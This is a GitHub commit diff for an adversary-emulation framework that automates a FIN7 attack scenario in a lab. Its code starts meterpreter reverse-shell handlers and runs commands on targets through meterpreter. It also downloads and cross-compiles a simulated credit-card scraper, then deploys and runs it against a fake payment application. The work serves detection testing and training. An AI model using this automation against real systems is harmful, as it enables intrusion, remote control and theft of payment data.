Merge pull request #7 from avast/fin7_improvements

Fin7 improvements
pull/8/head
Thorsten Sick 3 years ago committed by GitHub
commit 85628336be
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -203,6 +203,7 @@ class Experiment():
plugin.set_attacker_machine(self.attacker_1) plugin.set_attacker_machine(self.attacker_1)
plugin.set_logger(self.attack_logger) plugin.set_logger(self.attack_logger)
plugin.set_caldera(self.caldera_control) plugin.set_caldera(self.caldera_control)
plugin.install()
# plugin.__set_logger__(self.attack_logger) # plugin.__set_logger__(self.attack_logger)
plugin.__execute__([target]) plugin.__execute__([target])
@ -220,6 +221,8 @@ class Experiment():
self.attack_logger.vprint(a_file, 2) self.attack_logger.vprint(a_file, 2)
zfh.write(a_file) zfh.write(a_file)
zfh.write(os.path.join(self.lootdir, "attack.json"))
@staticmethod @staticmethod
def __get_results_files(root): def __get_results_files(root):
""" Yields a list of potential result files """ Yields a list of potential result files

@ -36,6 +36,10 @@ class Metasploit():
time.sleep(3) # Waiting for server to start. Or we would get https connection errors when getting the client. time.sleep(3) # Waiting for server to start. Or we would get https connection errors when getting the client.
def start_exploit_stub_for_external_payload(self, payload='linux/x64/meterpreter_reverse_tcp', exploit='exploit/multi/handler'): def start_exploit_stub_for_external_payload(self, payload='linux/x64/meterpreter_reverse_tcp', exploit='exploit/multi/handler'):
"""
@:returns: res, which contains "job_id" and "uuid"
"""
exploit = self.get_client().modules.use('exploit', exploit) exploit = self.get_client().modules.use('exploit', exploit)
# print(exploit.description) # print(exploit.description)
# print(exploit.missing_required) # print(exploit.missing_required)
@ -45,6 +49,7 @@ class Metasploit():
payload["LHOST"] = self.attacker.get_ip() payload["LHOST"] = self.attacker.get_ip()
res = exploit.execute(payload=payload) res = exploit.execute(payload=payload)
print(res) print(res)
return res
def start_msfrpcd(self, username): def start_msfrpcd(self, username):
""" Starts the msfrpcs on the attacker. Metasploit must alredy be installed there ! """ """ Starts the msfrpcs on the attacker. Metasploit must alredy be installed there ! """
@ -60,17 +65,25 @@ class Metasploit():
self.client = MsfRpcClient(self.password, **self.kwargs) self.client = MsfRpcClient(self.password, **self.kwargs)
return self.client return self.client
def wait_for_session(self):
""" Wait until we get a session """
retries = 50
while self.get_client().sessions.list == {}:
time.sleep(1)
print(f"Waiting to get any session {retries}")
retries -= 1
if retries <= 0:
raise MetasploitError("Can not find any session")
def get_sid(self, session_number=0): def get_sid(self, session_number=0):
""" Get the first session between hacked target and the metasploit server """ Get the first session between hacked target and the metasploit server
@param session_number: number of the session to get @param session_number: number of the session to get
""" """
# TODO improve stability and speed self.wait_for_session()
# print("Get SID")
while len(self.get_client().sessions.list) <= session_number:
time.sleep(1)
# print(f"DONE get sid {self.get_client().sessions.list}")
return list(self.get_client().sessions.list)[session_number] return list(self.get_client().sessions.list)[session_number]
def get_sid_to(self, target): def get_sid_to(self, target):
@ -79,6 +92,8 @@ class Metasploit():
@param target: a target machine to find in the session list @param target: a target machine to find in the session list
""" """
print(f"Sessions: {self.get_client().sessions.list}")
# Get_ip can also return a network name. Matching a session needs a real ip # Get_ip can also return a network name. Matching a session needs a real ip
name_resolution_worked = True name_resolution_worked = True
try: try:
@ -245,7 +260,9 @@ class MSFVenom():
# Deploy to target # Deploy to target
if self.attack_logger: if self.attack_logger:
self.attack_logger.start_file_write("", self.target.get_name(), payload_name) self.attack_logger.start_file_write("", self.target.get_name(), payload_name)
self.target.put(src, self.target.get_playground()) playground = self.target.get_playground()
print(f"Putting to playground {playground}")
self.target.put(src, playground)
if self.attack_logger: if self.attack_logger:
self.attack_logger.stop_file_write("", self.target.get_name(), payload_name) self.attack_logger.stop_file_write("", self.target.get_name(), payload_name)
@ -262,7 +279,8 @@ class MSFVenom():
if self.attack_logger: if self.attack_logger:
self.attack_logger.start_execute_payload("", self.target.get_name(), cmd) self.attack_logger.start_execute_payload("", self.target.get_name(), cmd)
self.target.remote_run(cmd, disown=True) res = self.target.remote_run(cmd, disown=True)
print(f"Running payload, result is {res}")
if self.attack_logger: if self.attack_logger:
self.attack_logger.stop_execute_payload("", self.target.get_name(), cmd) self.attack_logger.stop_execute_payload("", self.target.get_name(), cmd)
self.attack_logger.vprint( self.attack_logger.vprint(

@ -31,6 +31,7 @@ Some SSH hints (powershell):
Powershell:: Powershell::
Add-WindowsCapability -Online -Name OpenSSH.Client~~~~0.0.1.0
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Start-Service sshd Start-Service sshd
Set-Service -Name sshd -StartupType 'Automatic' Set-Service -Name sshd -StartupType 'Automatic'

@ -136,6 +136,12 @@ class AttackPlugin(BasePlugin):
""" """
raise NotImplementedError raise NotImplementedError
def install(self):
""" Install and setup requirements for the attack
"""
return None
def __execute__(self, targets): def __execute__(self, targets):
""" Execute the plugin. This is called by the code """ Execute the plugin. This is called by the code

@ -136,6 +136,7 @@ class SSHFeatures(BasePlugin):
@param dst: destination @param dst: destination
""" """
self.connect() self.connect()
res = None
if os.path.isdir(dst): if os.path.isdir(dst):
dst = os.path.join(dst, os.path.basename(src)) dst = os.path.join(dst, os.path.basename(src))

@ -6,6 +6,7 @@ from plugins.base.attack import AttackPlugin
from app.interface_sfx import CommandlineColors from app.interface_sfx import CommandlineColors
from app.metasploit import MSFVenom, Metasploit from app.metasploit import MSFVenom, Metasploit
import os import os
import time
class FIN7Plugin(AttackPlugin): class FIN7Plugin(AttackPlugin):
@ -33,6 +34,7 @@ class FIN7Plugin(AttackPlugin):
self.metasploit_1 = Metasploit(self.metasploit_password, attacker=self.attacker_machine_plugin, username=self.metasploit_user) self.metasploit_1 = Metasploit(self.metasploit_password, attacker=self.attacker_machine_plugin, username=self.metasploit_user)
self.metasploit_1.start_exploit_stub_for_external_payload(payload=self.payload_type_1) self.metasploit_1.start_exploit_stub_for_external_payload(payload=self.payload_type_1)
self.metasploit_1.wait_for_session()
return self.metasploit_1 return self.metasploit_1
def step1(self): def step1(self):
@ -129,8 +131,6 @@ class FIN7Plugin(AttackPlugin):
# --encrypt xor : xor encrypt the results # --encrypt xor : xor encrypt the results
# --encrypt-key m : the encryption key # --encrypt-key m : the encryption key
self.attacker_machine_plugin.remote_run("sudo apt install msfpc") # MSFVenom needs to be installed
venom = MSFVenom(self.attacker_machine_plugin, hotelmanager, self.attack_logger) venom = MSFVenom(self.attacker_machine_plugin, hotelmanager, self.attack_logger)
venom.generate_and_deploy(payload=self.payload_type_1, venom.generate_and_deploy(payload=self.payload_type_1,
architecture="x64", architecture="x64",
@ -183,9 +183,10 @@ class FIN7Plugin(AttackPlugin):
print(metasploit.meterpreter_execute_on(["arp"], hotelmanager)) print(metasploit.meterpreter_execute_on(["arp"], hotelmanager))
# powershell: nslookup to query domain controler(hoteldc) for ip from ARP (Caldera ?) https://attack.mitre.org/techniques/T1018/ # powershell: nslookup to query domain controler(hoteldc) for ip from ARP (Caldera ?) https://attack.mitre.org/techniques/T1018/
# TODO: Add a new machine in config as <itadmin> ip. Re-activate. This command caused trouble afterwards (uploading mimikatz). Maybe it is because of an error # TODO: Add a new machine in config as <itadmin> ip. Re-activate. This command caused trouble afterwards (uploading mimikatz). Maybe it is because of an error
itadmin = self.get_target_by_name("itadmin") itadmin = self.get_target_by_name("itadmin").get_ip()
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute nslookup through meterpreter{CommandlineColors.ENDC}", 1) self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute nslookup through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on([f"execute -f nslookup.exe -H -i -a '{itadmin}'"], hotelmanager)) cmd = f"execute -f nslookup.exe -H -i -a '{itadmin}'"
print(metasploit.meterpreter_execute_on([cmd], hotelmanager))
# Copy step 5 attack tools to attacker # Copy step 5 attack tools to attacker
@ -244,7 +245,9 @@ class FIN7Plugin(AttackPlugin):
def step7(self): def step7(self):
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 7: Setup User Monitoring{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKBLUE}Step 7 on itadmin: Setup User Monitoring{CommandlineColors.ENDC}", 1)
# Start situation: Step 6 executed a meterpreter in hollow.exe We can fake that to be able to start with step 7 directly
# This is meterpreter ! # This is meterpreter !
# Emulating DLL hijacking functionality of BOOSTWRITE # Emulating DLL hijacking functionality of BOOSTWRITE
@ -296,30 +299,69 @@ class FIN7Plugin(AttackPlugin):
# Scenario target is the fake payment application AccountingIQ.exe # Scenario target is the fake payment application AccountingIQ.exe
# Machine is rebooted # TODO: Machine is rebooted
# shim dll329.dll is activated https://attack.mitre.org/techniques/T1546/011/ # TODO: shim dll329.dll is activated https://attack.mitre.org/techniques/T1546/011/
# AccountingIQ injects into SyncHost.exe, rundll32.exe communicates to C2 # TODO: AccountingIQ injects into SyncHost.exe, rundll32.exe communicates to C2
# debug.exe is downloaded from C2, does process discovery https://attack.mitre.org/techniques/T1105/ # TODO: debug.exe(pillowMint.exe) is downloaded from C2, does process discovery https://attack.mitre.org/techniques/T1105/
# send 7za.exe to target. Zip stolen data, exfiltrate # TODO: send 7za.exe to target. Zip stolen data, exfiltrate
# Compiling
# i686-w64-mingw32-gcc is for 32 bit
# x86_64-w64-mingw32-gcc is for 64 bit
# Important: pillowMint is not very complex and looks for the data at a fixed address. As we a re-compiling AccountIQ.exe and the data address does not match the expected one we will just get garbage.
# simulated credit card tool as target
self.attacker_machine_plugin.remote_run("cd tool_factory; rm AccountingIQ.exe")
self.attacker_machine_plugin.remote_run("cd tool_factory; rm AccountingIQ.c; wget https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step10/AccountingIQ.c")
self.attacker_machine_plugin.remote_run("cd tool_factory; i686-w64-mingw32-gcc -m32 -L/usr/i686-w64-mingw32/lib -I/usr/i686-w64-mingw32/include AccountingIQ.c -o AccountingIQ.exe")
self.attacker_machine_plugin.get("tool_factory/AccountingIQ.exe", os.path.join(os.path.dirname(self.plugin_path), "resources", "step10", "AccountingIQ.exe"))
# Simulated credit card scraper
self.attacker_machine_plugin.remote_run("cd tool_factory; rm pillowMint.exe")
self.attacker_machine_plugin.remote_run("cd tool_factory; rm pillowMint.cpp; wget https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step10/pillowMint.cpp")
self.attacker_machine_plugin.remote_run("cd tool_factory; x86_64-w64-mingw32-g++ -static pillowMint.cpp -o pillowMint.exe")
self.attacker_machine_plugin.get("tool_factory/pillowMint.exe", os.path.join(os.path.dirname(self.plugin_path), "resources", "step10", "pillowMint.exe"))
accounting = self.get_target_by_name("accounting")
accounting.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step10", "pillowMint.exe"), "pillowMint.exe")
accounting.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step10", "AccountingIQ.exe"), "AccountingIQ.exe")
accounting.remote_run("AccountingIQ.exe", disown=True)
time.sleep(1)
accounting.remote_run("pillowMint.exe", disown=False)
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKGREEN}End Step 10: Steal Payment Data{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKGREEN}End Step 10: Steal Payment Data{CommandlineColors.ENDC}", 1)
def install(self):
""" Install tools for the attack """
self.attacker_machine_plugin.remote_run("mkdir tool_factory") # MSFVenom needs to be installed
self.attacker_machine_plugin.remote_run("sudo apt -y install msfpc") # MSFVenom needs to be installed
self.attacker_machine_plugin.remote_run("sudo apt -y install g++-mingw-w64") # Cross compiler
self.attacker_machine_plugin.remote_run("sudo apt -y install mingw-w64") # Cross compiler
self.attacker_machine_plugin.remote_run("sudo apt -y install powershell") # Microsoft powershell
self.attacker_machine_plugin.remote_run("sudo apt -y install g++-multilib libc6-dev-i386") # 32 bit support
self.attacker_machine_plugin.remote_run("cd tool_factory; git clone https://github.com/monoxgas/sRDI") # To generate PIC
def run(self, targets): def run(self, targets):
""" Run the command """ Run the command
@param targets: A list of targets @param targets: A list of targets
""" """
self.step1() # self.step1()
self.step2() # self.step2()
self.step3() # Done and works # self.step3() # DONE and works
self.step4() # Partial - with a hack # self.step4() # PARTIAL - with a hack. Needs compilation of babymetal: Needs a powershell to execute on the build system. And this one needs system access
self.step5() # Done and quite ok # self.step5() # DONE and quite ok
self.step6() # self.step6() # Hollow.exe has to be generated
self.step7() # self.step7() # Will need compilation of an attack tool Boostwrite
self.step8() # self.step8() # Migration and credential collection, on itadmin
self.step9() # self.step9() # on accounting, shim persistence bin329.tmp needs to be generated
self.step10() self.step10() # on accounting, AccountingIQ.c needs compilation. But just once.
return "" return ""

@ -61,6 +61,7 @@ targets:
nicknames: nicknames:
- hotelmanager - hotelmanager
- itadmin - itadmin
- accounting
os: windows os: windows
paw: target2w paw: target2w

Loading…
Cancel
Save